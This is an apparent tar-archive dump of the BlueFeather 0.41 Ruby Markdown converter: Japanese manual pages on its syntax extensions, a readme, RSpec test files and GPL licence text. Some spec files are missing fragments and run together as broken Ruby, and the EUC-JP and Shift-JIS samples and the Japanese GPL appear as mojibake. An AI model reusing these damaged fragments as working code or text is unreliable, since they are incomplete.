{#EncodingType} ---- ### `UTF8`, `UTF_8` ### `EUC`, `EUCJP`, `EUC_JP` ### `SJIS`, `SHIFT_JIS` ### `ASCII`, `US_ASCII` BlueFeather におけるエンコーディングの種類を表す定数(String)。 bluefeather-0.41/doc/format-extension.bfdoc0000644000004100000410000002262312122140072021016 0ustar www-datawww-dataTitle: Markdown記法の拡張 - BlueFeather マニュアル CSS: black.css Markdown記法の拡張 ==== BlueFeatherでは、従来のMarkdown記法に加え、[PHP Markdown Extra][]などから多くの拡張を取り込んでいます。 {toc} PHP Markdown Extra ---- * 元々の PHP Markdown Extra については、 を参照してください。 ### 定義リスト(dl) ### 定義語と `:` 記号から始まる説明文の組み合わせは、定義リストとして変換されます。 みかん : オレンジ色で甘酸っぱい。 りんご : 赤くて甘い。 >みかん >: オレンジ色で甘酸っぱい。 > >りんご >: 赤くて甘い。 定義語や説明文は、それぞれ複数重ねることもできます。 みかん : オレンジ色。 : 甘酸っぱい。 りんご アップル : 赤くて甘い。 >みかん >: オレンジ色。 >: 甘酸っぱい。 > >りんご >アップル >: 赤くて甘い。 また、定義語と説明文の間に空行を挟むと、説明文を段落(p要素)にすることができます。 さらにその後にインデント付きで、他のブロック要素(リストなど)を含めることもできます。 みかん : オレンジ色で甘酸っぱく、ジュースにもなる。 りんご : 以下のような特徴を持つ。 * 甘い * 見た目は赤くて丸い(青いのもある) * 皮にも栄養がある >みかん > >: オレンジ色で甘酸っぱく、ジュースにもなる。 > >りんご > >:以下のような特徴を持つ。 > > * 甘い > * 見た目は赤くて丸い(青いのもある) > * 皮にも栄養がある ### 脚注 ### 次のように書くことで、任意の箇所に脚注を付けることができます。 チャルメラ醤油味は、卵を入れる[^1]と美味しく作ることができる。 [^1]: できあがり直前に弱火にしてから割り入れて、短時間だけ煮込むのがコツ。 >チャルメラ醤油味は、卵を入れる[^1]と美味しく作ることができる。 [^1]: できあがり直前に弱火にしてから割り入れて、短時間だけ煮込むのがコツ。 脚注の定義(できあがり直前に~)は、文書中のどこに書いても構いません。 また、脚注には番号でなく、任意のIDを付けることもできます。 その場合であっても、ブラウザ上の表示ではIDに関わらず連番が振られます。 チャルメラとんこつ味には、もやし[^moyashi]がよく合う。 [^moyashi]: 歯応え重視で太めのもやしを選ぶのがお奨め。 >チャルメラとんこつ味には、もやし[^moyashi]がよく合う。 [^moyashi]: 歯応え重視で太めのもやしを選ぶのがお奨め。 ### ID付き見出し ### 任意の見出し(h*要素)の後ろに次のように書くことにより、その見出しにIDを付け、リンクすることが出来ます。 レシピ {#recipe} ---- [「レシピ」の項](#recipe)を参照してください。 ~ ## レシピ ## {#recipe} [「レシピ」の項](#recipe)を参照してください。 >レシピ {#recipe} >---- > >[「レシピ」の項](#recipe)を参照してください。 なお、見出しの内容とID記述の間には空白を入れても構いませんが、_ID記述の直後に改行以外を入れてはいけません。_ ### 仕切り付きコードブロック ### ~~~ 3つ以上のチルダ記号(~)がある行から、同じ数のチルダ記号がある行までは 丸ごとコードブロックとして扱われます。 ~~~ > ~~~ > 3つ以上のチルダ記号(~)がある行から、同じ数のチルダ記号がある行までは > 丸ごとコードブロックとして扱われます。 > ~~~ ### 表組み ### パイプ記号(`\|`)でセルを区切ることで、表組みを作ることができます。 1行目に項目名(ヘッダ)を、2行目に項目名とデータの区切りを、3行目以降にデータを記入してください。 |名前 |色 |個数| |------|--------|----| |りんご|赤 | 8| |みかん|オレンジ| 32| >|名前 |色 |個数| >|------|--------|----| >|りんご|赤 | 8| >|みかん|オレンジ| 32| 右端のパイプ記号や、セルの見た目を揃えるための空白は省略可能です。そのため、以下の例はどちらも有効です。 |名前 |色 |個数 |------|--------|---- |りんご|赤 | 8 |みかん|オレンジ| 32 |名前|色|個数| |-|-|-| |りんご|赤|8| |みかん|オレンジ|32| ただし、PHP Markdown Extraと異なり、_左端のパイプ記号は省略することができません。_ご注意ください。 2行目の区切り部、右端にコロン記号(`\:`)を付けることにより、その列を右寄せにすることができます。 また、両端に同じ記号を付けると中央寄せになります。 |名前 |色 |個数| |------|:------:|---:| |りんご|赤 | 8| |みかん|オレンジ| 32| >|名前 |色 |個数| >|------|:------:|---:| >|りんご|赤 | 8| >|みかん|オレンジ| 32| ### PHP Markdown Extra との違い ### * PHP Markdown Extra ではブロック要素のHTMLタグをインデントできるように変更されていますが、BlueFeather では*インデントは許可されません*(本家 Markdown と同じ)。 * PHP Markdown Extra では、以下のような記述のときには強調を行わない仕様になっています。 Please open the folder "secret_magic_box". ですが、BlueFeather では_この場合でも強調を行います_(本家 Markdown と同じ)。 * [Markdown Inside HTML Blocks][] (HTML内でのMarkdown記法)、および[Abbreviations][](略語定義)には対応していません。 * 表組みの左側のパイプ記号(ボーダー)は必須です。 独自拡張 ---- ### 目次 ### 行頭に `{toc}` と記入することにより、その位置に目次(テキスト内にある見出しの一覧)を表示させることができます。 {toc} >{toc} また、どのレベルからの見出しを目次に含めるかを指定することもできます。 たとえば、次の例であれば、h1 ~ h2 は無視され、h3 ~ h6 のみが目次に含まれます。 {toc:h3..} >{toc:h3..} 指定がなかった場合には、標準で h2 ~ h6 が目次に含まれます。 見出しレベルの指定には、以下のような書き方を使うことができます。 {toc:h3-} (上記の例と同じ) {toc:h3} (h3 のみ) {toc:h3..h4} (h3 ~ h4) {toc:..h4} (h2 ~ h4) なお、目次にリストアップされるのは、_Markdown記法の変換によって生成され、なおかつ他のブロック要素に含まれていない見出しのみ_です。 つまり、次のような見出しは目次に含まれません。

目次に含まれない見出し

> ## 目次に含まれない見出し ## ### 強制ブロック区切り ### 通常、リストやコードブロックは、間に空行があっても一つのブロックに結合されます。 しかし、連続して2つ以上のリストを置きたい場合など、この動作を抑制したいケースがあります。 1. リスト1項目1 2. リスト1項目2 3. リスト1項目3 1. リスト2項目1 2. リスト2項目2 3. リスト2項目3 ~
  1. リスト1項目1
  2. リスト1項目2
  3. リスト1項目3

  4. リスト2項目1

  5. リスト2項目2
  6. リスト2項目3
ひとつの解決策は、間に水平線を挟むことです。 1. リスト1項目1 2. リスト1項目2 3. リスト1項目3 ---- 1. リスト2項目1 2. リスト2項目2 3. リスト2項目3 ~
  1. リスト1項目1
  2. リスト1項目2
  3. リスト1項目3

  1. リスト2項目1
  2. リスト2項目2
  3. リスト2項目3
しかし、水平線を使わずに区切りたい場合もあるでしょう。 そういった場合、BlueFeather では行にチルダ記号(~)を1つだけ置くことで、その行でリストやコードブロックを強制的に区切ることができます。 ~ たとえば、次のように使うことが出来ます。 1. リスト1項目1 2. リスト1項目2 3. リスト1項目3 ~ 1. リスト2項目1 2. リスト2項目2 3. リスト2項目3 ~
  1. リスト1項目1
  2. リスト1項目2
  3. リスト1項目3
  1. リスト2項目1
  2. リスト2項目2
  3. リスト2項目3
[PHP Markdown Extra]: http://michelf.com/projects/php-markdown/extra/ [Markdown Inside HTML Blocks]: http://michelf.com/projects/php-markdown/extra/#markdown-attr [Abbreviations]: http://michelf.com/projects/php-markdown/extra/#abbrbluefeather-0.41/readme_ja.txt0000644000004100000410000000150312122140072016412 0ustar www-datawww-dataBlueFeather - Extended MarkDown Converter ==== BlueFeather は、拡張 Markdown 記法で書かれたテキストを html に変換するソフトウェアです。 コマンドラインツールと、Ruby スクリプト内で変換を行うためのライブラリがセットになっています。 詳しくは doc ディレクトリ内のマニュアル(doc/index.html)を参照してください。 インストール ---- ruby のインストールされたPCで、付属している setup.rb を実行してください。 % ruby setup.rb ライセンス ---- GPL(General Public License)のバージョン2、またはそれ以降のバージョンに従います。 配布サイト ---- 連絡先 ---- Dice bluefeather-0.41/spec/0000755000004100000410000000000012122140072014675 5ustar www-datawww-databluefeather-0.41/spec/numbering.rb0000644000004100000410000000216312122140072017212 0ustar www-datawww-datarequire 'pathname' require(Pathname.new(__FILE__).parent + 'lib/common.rb') describe 'Numbering:' do before(:each) do @src = <#{c}

" end specify "'#{c}' (in code block)" do @bf.parse_text(" \\#{c}").should == "
\\#{c}\n
" end end end describe 'Backquote Escape:' do specify do BlueFeather.parse_text('``').should == "

<http://example.net/>

" end endbluefeather-0.41/spec/win32.~rb0000644000004100000410000000170712122140072016367 0ustar www-datawww-datarequire 'pathname' require(Pathname.new(__FILE__).parent + 'lib/common.rb') if RUBY_PLATFORM =~ /win|mingw/ then describe 'DOS Pathname:' do before do @prefix = File.expand_path(File.dirname(__FILE__)) @unix_path = "#{@prefix}/text/encoding_sample_default.bfdoc" @dos_path = "#{@prefix.gsub('/', '\\')}\\text\\encoding_sample_default.bfdoc" @cmd_path = Pathname.new(__FILE__).parent.parent + 'bin/bluefeather' @lib_dir = Pathname.new(__FILE__).parent.parent + 'lib' end specify 'command run' do File.exist?(@unix_path).should be_true File.exist?(@dos_path).should be_true system("ruby -I #{@lib_dir} #{@cmd_path} --verbose #{@unix_path}").should be_true system("ruby -I #{@lib_dir} #{@cmd_path} --verbose #{@dos_path}").should be_true end after do dest = @unix_path.sub(/.bfdoc$/, '.html') File.unlink(dest) if File.exist?(dest) end end else puts "spec/win32.rb skipped." endbluefeather-0.41/spec/header-id.rb0000644000004100000410000000456512122140072017056 0ustar www-datawww-datarequire 'pathname' require(Pathname.new(__FILE__).parent + 'lib/common.rb') describe 'Specified Header ID:' do before(:each) do @bf = BlueFeather::Parser.new @html = @bf.parse_text(@src) @doc = Nokogiri(@html) end describe 'basic:' do before(:all) do @src = '## h2 ## {#test-id}' end specify 'correct id' do @doc.should have_element('h2#test-id') end end describe 'use span transform format:' do before(:all) do @src = '## h2 ## {#the_test_id}' end specify 'correct id' do @doc.should have_element('h2#the_test_id') end end end describe 'Auto Generated Header ID:' do before(:each) do @bf = BlueFeather::Parser.new @rs = BlueFeather::Parser::RenderState.new @rs.header_id_type = @header_id_type if @header_id_type @html, @rs = @bf.parse_text_with_render_state('# h1/header 1 #', @rs) @doc = Nokogiri("
" + @html + "
") end describe 'default (=md5):' do specify 'pattern matched' do @doc.at('h1')['id'].should =~ /^bfheader-[0-9a-f]{32}$/ @rs.warnings.size.should == 0 end end describe 'md5:' do before(:all) do @header_id_type = 'md5' end specify 'pattern matched' do @doc.at('h1')['id'].should =~ /^bfheader-[0-9a-f]{32}$/ @rs.warnings.size.should == 0 end end describe 'escape:' do before(:all) do @header_id_type = 'escape' end specify 'pattern matched' do @doc.at('h1')['id'].should == 'h1.2Fheader_1' @rs.warnings.size.should == 0 end end describe 'illegel type:' do before(:all) do @header_id_type = '*illegal*' end specify 'pattern matched' do @doc.at('h1')['id'].should =~ /^bfheader-[0-9a-f]{32}$/ @rs.warnings.size.should == 1 end end end describe "Document Header (Header-ID-Type:)" do %w(md5 MD5).each do |value| specify value do doc = BlueFeather::Document.new({'Header-ID-Type' => value}) doc.header_id_type.should == BlueFeather::HeaderIDType::MD5 end end %w(escape Escape ESCAPE).each do |value| specify value do doc = BlueFeather::Document.new({'Header-ID-Type' => value}) doc.header_id_type.should == BlueFeather::HeaderIDType::ESCAPE end end end describe 'Anchor Briefing Link:' do specify 'equal' do BlueFeather.parse_text('[FooBar](#)').should == BlueFeather.parse_text('[FooBar](#FooBar)') end endbluefeather-0.41/spec/warning.rb0000644000004100000410000000317412122140072016674 0ustar www-datawww-datarequire 'bluefeather' describe 'Warning:' do before(:all) do @bf = BlueFeather::Parser.new end specify "header level" do html, rs = @bf.parse_text_with_render_state('###### h6') rs.warnings.size.should == 0 html, rs = @bf.parse_text_with_render_state('####### h7') rs.warnings.size.should == 1 end specify "header id" do html, rs = @bf.parse_text_with_render_state('# header # {#legal}') rs.warnings.size.should == 0 html, rs = @bf.parse_text_with_render_state('# header # {#99illegal}') rs.warnings.size.should == 1 html, rs = @bf.parse_text_with_render_state('# header # {#ille?gal}') rs.warnings.size.should == 1 end specify "link id reference" do html, rs = @bf.parse_text_with_render_state("[markdown][]\n\n[markdown]: -") rs.warnings.size.should == 0 html, rs = @bf.parse_text_with_render_state("[unknown][]\n\n[markdown]: -") rs.warnings.size.should == 1 end specify "footnote id" do html, rs = @bf.parse_text_with_render_state('[^markdown]: -') rs.warnings.size.should == 0 html, rs = @bf.parse_text_with_render_state('[^mark?down]: -') rs.warnings.size.should == 1 end specify "footnote reference" do html, rs = @bf.parse_text_with_render_state("[^1]\n\n[^1]: -") rs.warnings.size.should == 0 html, rs = @bf.parse_text_with_render_state("[^unknown]") rs.warnings.size.should == 1 end specify "toc parameter" do html, rs = @bf.parse_text_with_render_state("{toc:h2..}") rs.warnings.size.should == 0 html, rs = @bf.parse_text_with_render_state("{toc:h21..}") rs.warnings.size.should == 1 end endbluefeather-0.41/spec/table.rb0000644000004100000410000000350512122140072016314 0ustar www-datawww-datarequire 'pathname' require(Pathname.new(__FILE__).parent + 'lib/common.rb') describe 'Simple Table:' do before(:each) do @bf = BlueFeather::Parser.new @html = @bf.parse_text(@src) @doc = Nokogiri(@html) end share_as :StandardTable do specify "table overview" do @doc.should have_elements(1, 'table') end specify "size 3x3" do @doc.should have_elements(3, 'tr') @doc.should have_elements(1, 'thead tr') @doc.should have_elements(2, 'tbody tr') @doc.should have_elements(3, 'thead tr th') @doc.should have_elements(6, 'tbody tr td') end specify "alignment" do @doc.search('tr').each do |tr| cells = tr.search('th, td') cells[0]['style'].should be_nil cells[1]['style'].should == 'text-align: right' cells[2]['style'].should == 'text-align: center' end end specify "purity" do @doc.should_not have_element('p table') end end describe 'no-doubleline' do include StandardTable before(:all) do @src = "|h1|h2|h3\n|-|-:|:-:\n|d11|d21|d31\n|d12|d22|d32" end end describe 'doubleline: ' do include StandardTable before(:all) do @src = "|h1|h2|h3|\n|-|-:|:-:|\n|d11|d21|d31|\n|d12|d22|d32|" end end describe 'inner space:' do include StandardTable before(:all) do @src = "| h1 | h2 | h3 \n| - | -: | :-: \n| d11 | d21 | d31\n| d12 | d22 | d32" end end describe 'left space:' do include StandardTable before(:all) do @src = " | h1 | h2 | h3 \n | - | -: | :-: \n | d11 | d21 | d31\n | d12 | d22 | d32" end end describe 'in definition list:' do include StandardTable before(:all) do @src = < ol:' do before(:all) do @src = " 1. item-1\n 2. item-2\n 3. item-3\n" end specify 'basic' do @doc.should have_elements(1, 'pre code') @doc.should_not have_element('ol') end end end describe 'Fenced Code Block:' do before(:each) do @bf = BlueFeather::Parser.new @html = @bf.parse_text(@src) @doc = Nokogiri(@html) end describe 'Basic:' do share_as :Examples do specify 'overview' do @doc.should have_elements(1, 'pre code') @doc.should_not have_element('p') end specify 'body' do @doc.at('pre code').inner_text.should == "Fenced Code\nBlock\n" end end share_as :NegativeExamples do specify 'overview' do @doc.should_not have_elements(1, 'pre code') @doc.should have_elements(1, 'p') end end describe 'Standard:' do include Examples before(:all) do @src = "~~~\nFenced Code\nBlock\n~~~" end end describe 'Many Symbols:' do include Examples before(:all) do @src = "~~~~~~\nFenced Code\nBlock\n~~~~~~" end end describe 'Original Code Block:' do include Examples before(:all) do @src = " Fenced Code\n Block" end end describe 'Bad (wrong number of symbols):' do include NegativeExamples before(:all) do @src = "~~~~~~\nFenced Code\nBlock\n~~~" end end describe 'Bad (symbols is not on line-head.):' do include NegativeExamples before(:all) do @src = " ~~~\nFenced Code\nBlock\n ~~~" end end end describe '0.20 Bug:' do describe 'Last-line Header:' do before(:all) do @src = "~~~\nFenced Code\nBlock\n# Last-line header\n~~~" end specify 'overview' do @doc.should have_elements(1, 'pre code') @doc.should_not have_element('p') @doc.should_not have_element('h1') end specify 'body' do @doc.at('pre code').inner_text.should == "Fenced Code\nBlock\n# Last-line header\n" end end describe 'Definition List:' do before(:all) do @src = "~~~\nFenced Code\nBlock\n: dd\n~~~" end specify 'overview' do @doc.should have_elements(1, 'pre code') @doc.should_not have_element('p') @doc.should_not have_element('dl') end specify 'body' do @doc.at('pre code').inner_text.should == "Fenced Code\nBlock\n: dd\n" end end describe 'Code block from second line:' do before(:all) do @src = "\n a\n b" end specify 'overview' do @doc.should have_elements(1, 'pre code') @doc.should_not have_element('p') end specify 'body' do @doc.at('pre code').inner_text.should == "a\nb\n" end end end end describe "0.30 code block bug in list item:" do before(:each) do @bf = BlueFeather::Parser.new @html = @bf.parse_text(@src) @doc = Nokogiri(@html) end before(:all) do @src = <(a) MARKDOWN end specify 'overview' do @doc.should have_elements(1, 'pre code') @doc.should_not have_element('pre code pre') end end endbluefeather-0.41/spec/footnote.rb0000644000004100000410000000144112122140072017057 0ustar www-datawww-datarequire 'pathname' require(Pathname.new(__FILE__).parent + 'lib/common.rb') describe 'Footnote:' do before(:all) do @bf = BlueFeather::Parser.new end describe 'simple:' do before(:all) do @html = "
" + @bf.parse_text("[^testid]\n\n[^testid]: none") + "
" @doc = Nokogiri(@html) end specify "reference a" do a = @doc.at('p sup a') a['href'].should == '#footnote:testid' a.inner_html.should == '[1]' end specify "reference id" do @doc.at('p sup')['id'].should == 'footnote-ref:testid' end specify "footnotes" do div = @doc.at('div.footnotes') div.should have_element('hr') div.at('ol li')['id'].should == 'footnote:testid' div.at('ol li p a')['href'].should == '#footnote-ref:testid' end end endbluefeather-0.41/spec/dl.rb0000644000004100000410000000735112122140072015627 0ustar www-datawww-datarequire 'pathname' require(Pathname.new(__FILE__).parent + 'lib/common.rb') describe 'Definition List:' do before(:each) do @bf = BlueFeather::Parser.new @html = @bf.parse_text(@src) @doc = Nokogiri(@html) end describe 'Basic:' do describe 'most standard:'do before(:all) do @src = ("dt1\n:dd1\n\ndt2\n:dd2-\ndouble-line") end specify 'overview' do @doc.should have_elements(1, 'dl') @doc.should have_elements(2, 'dl dt') @doc.should have_elements(2, 'dl dd') end specify 'text' do @doc.search('dl dt')[0].inner_text.should == "dt1" @doc.search('dl dt')[1].inner_text.should == "dt2" @doc.search('dl dd')[0].inner_text.should == "dd1" @doc.search('dl dd')[1].inner_text.should == "dd2-\ndouble-line" end end describe 'double dt:'do before(:all) do @src = ("dt1\ndt2\n:dd") end specify 'overview' do @doc.should have_elements(1, 'dl') @doc.should have_elements(2, 'dl dt') @doc.should have_elements(1, 'dl dd') end specify 'text' do @doc.search('dl dt')[0].inner_text.should == 'dt1' @doc.search('dl dt')[1].inner_text.should == 'dt2' @doc.at('dl dd').inner_text.should == "dd" end end describe 'double dd:'do before(:all) do @src = ("dt\n:dd1\n:dd2") end specify 'overview' do @doc.should have_elements(1, 'dl') @doc.should have_elements(1, 'dl dt') @doc.should have_elements(2, 'dl dd') end specify 'text' do @doc.search('dl dd')[0].inner_text.should == "dd1" @doc.search('dl dd')[1].inner_text.should == "dd2" @doc.at('dl dt').inner_text.should == 'dt' end end end describe '> code-block > ol:' do before(:all) do @src = <<-SRC title : 1. olitem-1 2. olitem-2 3. olitem-3 SRC end specify 'overview' do @doc.should have_elements(1, 'dl dt') @doc.should have_elements(1, 'dl dd') end specify 'dt text' do @doc.at('dt').inner_text.should == 'title' end specify 'ol in code-block' do @doc.should have_element('dd pre code') code = @doc / 'dd pre code' code.inner_text.should =~ /\A1.+\n2.+\n3.+\n\z/ end end describe '> code-block > ol(with paragraphs):' do before(:all) do @src = <<-SRC title :paragraph1 1. olitem-1 2. olitem-2 3. olitem-3 paragraph2 SRC end specify 'overview' do @doc.should have_elements(1, 'dl dt') @doc.should have_elements(1, 'dl dd') @doc.should have_elements(2, 'dl dd p') end specify 'dt text' do @doc.at('dt').inner_text.should == 'title' end specify 'ol in code-block' do @doc.should have_element('dd pre code') code = @doc / 'dd pre code' code.inner_text.should =~ /\A1.+\n2.+\n3.+\n\z/ end specify 'paragraphs' do paragraphs = @doc / 'dl dd p' paragraphs[0].inner_text.should == 'paragraph1' paragraphs[1].inner_text.should == 'paragraph2' end end describe 'blockquote > code-block > ol and paragraphs:' do before(:all) do @src = <<-SRC >title > >:paragraph1 > > 1. olitem-1 > 2. olitem-2 > 3. olitem-3 > > paragraph2 SRC end specify 'overview' do @doc.should have_elements(1, 'blockquote dl dt') @doc.should have_elements(1, 'blockquote dl dd') @doc.should have_elements(2, 'blockquote dl dd p') end specify 'dt text' do @doc.at('blockquote dt').inner_text.should == 'title' end specify 'paragraphs' do paragraphs = @doc / 'blockquote dl dd p' paragraphs[0].inner_text.should == 'paragraph1' paragraphs[1].inner_text.should == 'paragraph2' end end endbluefeather-0.41/spec/text/0000755000004100000410000000000012122140072015661 5ustar www-datawww-databluefeather-0.41/spec/text/encoding_sample_default.bfdoc0000644000004100000410000000027412122140072023516 0ustar www-datawww-dataCSS: style.css Title: 日本語の題名 このテキストファイルは、エンコーディングテスト用のテキストファイルです。 * 項目1 * 項目2 * 項目3bluefeather-0.41/spec/text/encoding_sample_euc-jp.bfdoc0000644000004100000410000000023612122140072023253 0ustar www-datawww-dataEncoding: EUC-JP CSS: style.css Title: ܸ̾ Υƥȥեϡ󥳡ǥ󥰥ƥѤΥƥȥեǤ * 1 * 2 * 3bluefeather-0.41/spec/text/encoding_sample_shift-jis.bfdoc0000644000004100000410000000024112122140072023764 0ustar www-datawww-dataEncoding: Shift-JIS CSS: style.css Title: {̑薼 ̃eLXgt@ĆAGR[fBOeXgp̃eLXgt@CłB * 1 * 2 * 3bluefeather-0.41/spec/text/encoding_sample_utf-8n.bfdoc0000644000004100000410000000031512122140072023207 0ustar www-datawww-dataCSS: style.css Encoding: UTF-8 Title: 日本語の題名 このテキストファイルは、エンコーディングテスト用のテキストファイルです。 * 項目1 * 項目2 * 項目3bluefeather-0.41/spec/text/encoding_sample_utf-8.bfdoc0000644000004100000410000000032012122140072023025 0ustar www-datawww-dataCSS: style.css Encoding: UTF-8 Title: 日本語の題名 このテキストファイルは、エンコーディングテスト用のテキストファイルです。 * 項目1 * 項目2 * 項目3bluefeather-0.41/spec/lib/0000755000004100000410000000000012122140072015443 5ustar www-datawww-databluefeather-0.41/spec/lib/common.rb0000644000004100000410000000720012122140072017257 0ustar www-datawww-databegin require 'rubygems' rescue end require 'pathname' $LOAD_PATH.unshift Pathname.new(__FILE__).dirname.parent.parent + 'lib/' require 'bluefeather' require 'nokogiri' module NokogiriMatcher class HaveElement def initialize(selector) @selector = selector end def description "have element" end def matches?(target) @target = target return !(@target.search(@selector).empty?) end def failure_message %Q|expected an element selected by '#{@selector}', got no element\n(html: #{@target.to_s.inspect})| end def negative_failure_message %Q|expected no element selected by '#{@selector}', got an element\n(html: #{@target.to_s.inspect})| end end class HaveElements def initialize(number, selector) @number, @selector = number, selector end def description "have elements" end def matches?(target) @target = target @found_number = @target.search(@selector).size return @found_number == @number end def failure_message %Q|expected #{@number} elements selected by '#{@selector}', got #{@found_number} elements\n(html: #{@target.to_s.inspect})| end def negative_failure_message %Q|not expected #{@number} elements selected by '#{@selector}', got #{@found_number} elements\n(html: #{@target.to_s.inspect})| end end end # ex) doc.should have_element('div table') def have_element(selector) NokogiriMatcher::HaveElement.new(selector) end alias have_element_as have_element # ex) doc.should have_elements(3, 'p') def have_elements(number, selector) NokogiriMatcher::HaveElements.new(number, selector) end alias have_elements_as have_elements module CUIMatcher class WriteToIOBase def initialize(expected = nil) # if expected is nil, allow any outputs. @expected = expected end def description "write to IO" end def matches?(cui) @cui = cui if @expected then return get_written_string(@cui) == @expected else return !(get_written_string(@cui).empty?) end end def get_written_string(cui) # not implemented end def failure_message if @expected then %Q|expected: #{@expected.inspect}\n got: #{get_written_string(@cui).inspect})| else %Q|expected: any\n got: #{get_written_string(@cui).inspect})| end end def negative_failure_message if @expected then %Q|not expected: #{@expected.inspect}\n got: #{get_written_string(@cui).inspect})| else %Q|not expected: any\n got: #{get_written_string(@cui).inspect})| end end end class WriteToStdout < WriteToIOBase def description "write to stdout" end def get_written_string(cui) cui.stdout.string end end class WriteToStderr < WriteToIOBase def description "write to stderr" end def get_written_string(cui) cui.stderr.string end end end def write_to_stdout(expected = nil) CUIMatcher::WriteToStdout.new(expected) end alias wrote_to_stdout write_to_stdout def write_to_stderr(expected = nil) CUIMatcher::WriteToStderr.new(expected) end alias wrote_to_stderr write_to_stderr =begin # new matcher class String def to_xml REXML::Document.new("#{self}") end def xml_as?(other) a = REXML::Document.new("#{self}") b = REXML::Document.new("#{other}") a == b end end # comparable module REXML class Element def ==(other) text == other.text and attributes == other.attributes and children == other.children end end end =endbluefeather-0.41/spec/auto-link.rb0000644000004100000410000000304012122140072017122 0ustar www-datawww-datarequire 'pathname' require(Pathname.new(__FILE__).parent + 'lib/common.rb') describe 'Auto Link:' do before(:each) do @html = BlueFeather.parse(@src) @doc = Nokogiri(@html) end describe 'Valid URL:' do data = [ 'http://www.example.com/', 'https://www.example.com/', 'skype:example-id', 'mailto:nobody@example.net', ] data.each do |url| src = "<#{url}>" describe src do before(:all) do @src = src end specify 'p > a' do @doc.should have_elements(1, 'p') @doc.should have_elements(1, 'p a') end specify 'text' do @doc.at('a').inner_text.should == url end specify 'href' do @doc.at('a')['href'].should == url end end end end describe 'Invalid URL:' do data = [ 'http//www.example.com/', ] data.each do |url| src = "<#{url}>" describe src do before(:all) do @src = src end specify 'no anchor' do @doc.should have_element('p') @doc.should_not have_element('p a') end end end end describe 'Valid Address:' do data = [ 'nobody.user@example.com', 'nobody.user@example.com', '.nobody..user.@example.com', ] data.each do |address| src = "<#{address}>" describe src do before(:all) do @src = src end specify 'overview' do @doc.should have_elements(1, 'p') @doc.should have_elements(1, 'p a') end end end end endbluefeather-0.41/spec/toc.rb0000644000004100000410000000577512122140072016025 0ustar www-datawww-datarequire 'pathname' require(Pathname.new(__FILE__).parent + 'lib/common.rb') describe 'TOC:' do before(:each) do @bf = BlueFeather::Parser.new if @doc_src then @html = @bf.parse_document(@doc_src) else @html, @rs = @bf.parse_text_with_render_state(@src) @html = "
#{@html}
" end @doc = Nokogiri(@html) end describe 'Standard:' do before(:all) do @header_part = < li') @doc.should have_elements(1, 'ul.toc > li > ul') @doc.should have_elements(3, 'ul.toc > li > ul > li') end specify 'list content' do toc = @doc.at('ul') toc['class'] = 'toc' items1 = @doc.search('ul.toc > li') items1[0].inner_text.should == 'h2a' items1[2].inner_text.should == 'h2c' items2 = @doc.search('ul.toc > li > ul > li') items2[0].inner_text.should == 'h3a' items2[1].inner_text.should == 'h3b' items2[2].inner_text.should == 'h3c' end end describe 'range:' do include ContentOverview before(:all) do @src = "{toc:h1..h2}\n\n" + @header_part end specify 'list structure' do toc = @doc.at('ul') toc['class'] = 'toc' @doc.should have_elements(1, 'ul.toc > li') @doc.should have_elements(1, 'ul.toc > li > ul') @doc.should have_elements(3, 'ul.toc > li > ul > li') end specify 'list content' do toc = @doc.at('ul') toc['class'] = 'toc' items2 = @doc.search('ul.toc > li > ul > li') items2[0].inner_text.should == 'h2a' items2[1].inner_text.should == 'h2b' items2[2].inner_text.should == 'h2c' end end describe 'numbering:' do before(:all) do @doc_src = "Numbering: yes\n\n{toc}\n" + @header_part end specify 'list content' do toc = @doc.at('ul') toc['class'] = 'toc' items1 = @doc.search('ul.toc > li') items1[0].inner_text.should == '1. h2a' items1[2].inner_text.should == '3. h2c' items2 = @doc.search('ul.toc > li > ul > li') items2[0].inner_text.should == '2.1. h3a' items2[1].inner_text.should == '2.2. h3b' items2[2].inner_text.should == '2.3. h3c' end end end describe 'Illegal:' do describe 'Standard:' do before(:all) do @src = < Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. bluefeather-0.41/license/gpl.ja.txt0000644000004100000410000005155212122140072017311 0ustar www-datawww-data GNU ̸ѵ С21991ǯ6 ܸ2002ǯ520 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ѵ򡢰礽Τޤޤʣۤ뤳ȤϵĤ롣 ѹǧʤ This is an unofficial translation of the GNU General Public License into Japanese. It was not published by the Free Software Foundation, and does not legally state the distribution terms for software that uses the GNU GPL--only the original English text of the GNU GPL does that. However, we hope that this translation will help Japanese speakers understand the GNU GPL better. (: ʲGNU General Public LicenseܸǤϥ ꡼եȥ(the Free Software Foundataion)ˤäȯɽ줿 ΤǤϤʤGNU GPLŬѤեȥ۾ˡŪͭʷ ǽҤ٤ΤǤϤޤ۾ȤƤGNU GPLαѸǥƥȤ ꤵƤΤΤߤͭǤʤ顢䤿Ϥ ܸѤ͡ˤȤäGNU GPLɤ򤹤Ȥʤ뤳Ȥ ˾Ǥޤ) ȬĿԤäʸ http://www.gnu.org/licenses/gpl.txtǤ롣λŦƤ򴿷ޤ 롣 Ϥ եȥ饤󥹤ȾϡʤΥեȥͭ ѹꤹ뼫ͳå褦߷פƤޤоŪˡGNU ̸ ѵϡʤե꡼եȥͭѹꤹ 뼫ͳݾڤ--ʤեȥΥ桼٤ƤˤȤäƥե꡼ 